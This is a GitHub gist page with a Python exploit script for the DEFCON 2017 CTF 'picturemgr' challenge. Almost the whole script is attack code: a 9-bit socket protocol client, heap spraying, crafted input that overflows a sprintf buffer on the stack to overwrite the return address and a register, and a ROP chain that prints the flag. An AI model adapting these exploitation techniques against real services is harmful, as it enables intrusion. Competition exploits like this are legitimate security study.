-
-
Save bruce30262/168b60254abbf496d88bfee656f21228 to your computer and use it in GitHub Desktop.
DEFCON 2017 CTF picturemgr sprintf Stack Overflow Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# By Sean @ HITCON | |
import re | |
import socket | |
import sys | |
import string | |
import random | |
def Log(x): | |
sys.stderr.write(x+'\n') | |
pass | |
def Err(x): | |
sys.stderr.write(x+'\n') | |
sys.exit(-1) | |
class Conn: | |
def __init__(self, ip, port): | |
self.sock = socket.create_connection((ip, port)) | |
self.bitstream = '' | |
def recv9bit(self): | |
while len(self.bitstream) < 9: | |
x = self.sock.recv(1) | |
if len(x) == 0: | |
raise socket.timeout | |
self.bitstream += '{:08b}'.format(ord(x)) | |
x = int(self.bitstream[:9], 2) | |
self.bitstream = self.bitstream[9:] | |
return x | |
def reset_stream(self): | |
if '1' in self.bitstream: | |
Log('found non-zero bit in reset_stream') | |
self.bitstream = '' | |
def recvn(self, n): | |
s = [] | |
while len(s) < n: | |
x = self.recv9bit() | |
s.append(x) | |
self.reset_stream() | |
return s | |
def send(self, x): | |
s = '' | |
for c in x: | |
s += '{:09b}'.format(c) | |
if len(s) % 8 != 0: | |
s += '0' * (8 - len(s) % 8) | |
s2 = '' | |
for i in range(0, len(s), 8): | |
s2 += chr(int(s[i:i+8], 2)) | |
self.sock.send(s2) | |
def sendstr(self, x): | |
self.send(map(ord, x)) | |
def recvstruntil(self, y): | |
s = '' | |
while True: | |
x = chr(self.recv9bit() & 0xff) | |
s += x | |
if y in s: | |
break | |
self.reset_stream() | |
return s | |
def p18(x): | |
return [(x >> 9) & 0x1ff, x & 0x1ff] | |
def p27(x): | |
return [(x >> 9) & 0x1ff, (x >> 18) & 0x1ff, x & 0x1ff] | |
# ip, port | |
c = Conn(sys.argv[1], sys.argv[2]) | |
def addImage(descr, path, name): | |
c.sendstr('addImage(descr=%s,path=%s,name=%s)\n' % (descr, path, name)) | |
x = c.recvstruntil('\n').strip() | |
if x[:8] != 'ImageID=': | |
Err('addImage fail: %s' % x) | |
return int(x[8:]) | |
def delImage(imageid): | |
c.sendstr('delImage(imageID=%d)\n' % (imageid)) | |
x = c.recvstruntil('\n').strip() | |
def addAgency(url, name): | |
c.sendstr('addAgency(url=%s,name=%s)\n' % (url, name)) | |
x = c.recvstruntil('\n').strip() | |
if x[:9] != 'AgencyID=': | |
Err('addAgency fail: %s' % x) | |
return int(x[9:]) | |
def addAgencyRaw(name): | |
s = map(ord, 'addAgency(url=1,name=') + name + map(ord, ')\n') | |
c.send(s) | |
x = c.recvstruntil('\n').strip() | |
if x[:9] != 'AgencyID=': | |
Err('addAgency fail: %s' % x) | |
return int(x[9:]) | |
def submitImage(imageid, agencyid, price): | |
c.sendstr('submitImage(imageID=%d,agencyID=%d,price=%d)\n' % (imageid, agencyid, price)) | |
x = c.recvstruntil('\n') | |
if 'submitted' not in x: | |
Err('submitImage error: %s\n' % x) | |
def infoImage(imageid, rop): | |
c.send(map(ord, ('infoImage(imageID=%d)' % imageid).ljust(31)) + rop + [ord('\n')]) | |
# rop chain to printf flag | |
rop = [0, 0] + p27(0x3fffb1c) + p27(0x3fffb1c) + p27(0x4d1b) + p27(0x4010000) * 8 | |
# overwrite RA to 0x1474 = (0xa, 0x0, 0x74) = 0x74 by agency1 + '\n\x00' by agency2 | |
# R28 to 0x281400 = (0xa, 0xa, 0x0) = '\n\n\x00' by agency3 | |
agency1 = addAgencyRaw([ord('\x74')] * 130) | |
agency2 = addAgencyRaw([ord('C')] * 77) | |
agency3 = addAgencyRaw([ord('D')] * 72) | |
# spray heap from 0xc400 and cover 0x281400 | |
# 0281400: 1fd 0ff 11c 1ff 1ff 1ff 03f 000 05c 05c 05c 05c | |
# 0x3fff1bc 0x7ffffff ^^^^^^^ ^^^^^^^^^^^^^^^ | |
# s1 s1 s1 sparychunk | |
spraychunk = (map(ord, 'addImage(descr=A,path=A,name=' + '\x5c' * 120 + ')\n')) | |
batchsz = 8 | |
spraynum = 7318 | |
s1 = (map(ord, 'addImage(descr=A,path=A,name=' + 'X' * 39) + | |
p27(0x3fffb1c) + p27(0x7ffffff) + [0x3f] + | |
map(ord, ')\n')) | |
for j in range(0, spraynum - spraynum % batchsz, batchsz): | |
ll = str(j) | |
c.send(spraychunk * batchsz) | |
for i in range(batchsz): | |
x = c.recvstruntil('\n').strip() | |
ll += ' ' + x | |
ix = int(x[8:]) | |
Log(ll) | |
for i in range(spraynum - spraynum % batchsz, spraynum): | |
c.send(spraychunk) | |
x = c.recvstruntil('\n').strip() | |
Log(str(i) + ' ' + x) | |
ix = int(x[8:]) | |
# construct a 0-byte (string ending null-byte) by deleting last chunk and adding a smaller new one | |
delImage(ix) | |
c.send(s1) | |
x = c.recvstruntil('\n').strip() | |
Log(x) | |
image = addImage('A', 'B', 'C') | |
submitImage(image, agency1, 1000) | |
submitImage(image, agency2, 1000) | |
submitImage(image, agency3, 1000) | |
# sprintf stack overflow at 8a15 and return at 8a81 | |
# 8a81 (R28=heap:281400) -> 1474 -> 147d (R28=ST=3fffb1c=rop/args) -> printf+3 | |
infoImage(image, rop) | |
for i in range(30): | |
try: | |
xx = c.recvstruntil('\n').strip() | |
print xx | |
except socket.timeout: | |
break |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment